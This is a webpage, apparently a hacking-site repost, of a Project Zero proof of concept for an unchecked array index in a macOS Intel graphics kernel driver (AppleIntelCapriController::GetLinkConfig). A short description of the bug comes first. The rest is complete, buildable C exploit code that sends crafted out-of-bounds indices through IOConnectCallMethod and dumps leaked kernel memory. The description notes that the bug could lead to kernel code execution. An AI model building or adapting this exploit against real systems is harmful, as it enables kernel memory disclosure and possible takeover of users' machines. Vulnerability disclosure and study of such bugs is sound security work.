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Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1071

Selector 0x921 of IntelFBClientControl ends up in AppleIntelCapriController::GetLinkConfig

This method takes a structure input and output buffer. It reads an attacker controlled dword from the input buffer which it
uses to index an array of pointers with no bounds checking:

This pointer is passed to AppleIntelFramebuffer::validateDisplayMode and the uint64 at offset +2130h is used as a C++ object pointer
on which a virtual method is called. With some heap grooming this could be used to get kernel code execution.

tested on MacOS Sierra 10.12.2 (16C67)
*/

// ianbeer

// build: clang -o capri_exec capri_exec.c -framework IOKit

#if 0
MacOS kernel code execution due to lack of bounds checking in AppleIntelCapriController::GetLinkConfig

Selector 0x921 of IntelFBClientControl ends up in AppleIntelCapriController::GetLinkConfig

This method takes a structure input and output buffer. It reads an attacker controlled dword from the input buffer which it
uses to index an array of pointers with no bounds checking:

This pointer is passed to AppleIntelFramebuffer::validateDisplayMode and the uint64 at offset +2130h is used as a C++ object pointer
on which a virtual method is called. With some heap grooming this could be used to get kernel code execution.

tested on MacOS Sierra 10.12.2 (16C67)
#endif

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#include <mach/mach_error.h>

#include <IOKit/IOKitLib.h>

int main(int argc, char** argv){
  kern_return_t err;

  io_service_t service = IOServiceGetMatchingService(kIOMasterPortDefault, IOServiceMatching("IntelFBClientControl"));

  if (service == IO_OBJECT_NULL){
    printf("unable to find service\n");
    return 0;
  }

  io_connect_t conn = MACH_PORT_NULL;
  err = IOServiceOpen(service, mach_task_self(), 0, &conn);
  if (err != KERN_SUCCESS){
    printf("unable to get user client connection\n");
    return 0;
  }

  uint64_t inputScalar[16];  
  uint64_t inputScalarCnt = 0;

  char inputStruct[4096];
  size_t inputStructCnt = 4096;

  uint64_t outputScalar[16];
  uint32_t outputScalarCnt = 0;

  char outputStruct[4096];
  size_t outputStructCnt = 0x1d8;

  for (int step = 1; step < 1000; step++) {
    memset(inputStruct, 0, inputStructCnt);
    *(uint32_t*)inputStruct = 0x238 + (step*(0x2000/8));

    outputStructCnt = 4096;
    memset(outputStruct, 0, outputStructCnt);
    
    err = IOConnectCallMethod(
      conn,
      0x921,
      inputScalar,
      inputScalarCnt,
      inputStruct,
      inputStructCnt,
      outputScalar,
      &outputScalarCnt,
      outputStruct,
      &outputStructCnt); 

    if (err == KERN_SUCCESS) {
      break;
    }

    printf("retrying 0x2000 up - %s\n", mach_error_string(err));
  }

  uint64_t* leaked = (uint64_t*)(outputStruct+3);
  for (int i = 0; i < 0x1d8/8; i++) {
    printf("%016llx\n", leaked[i]);
  }

  return 0;
}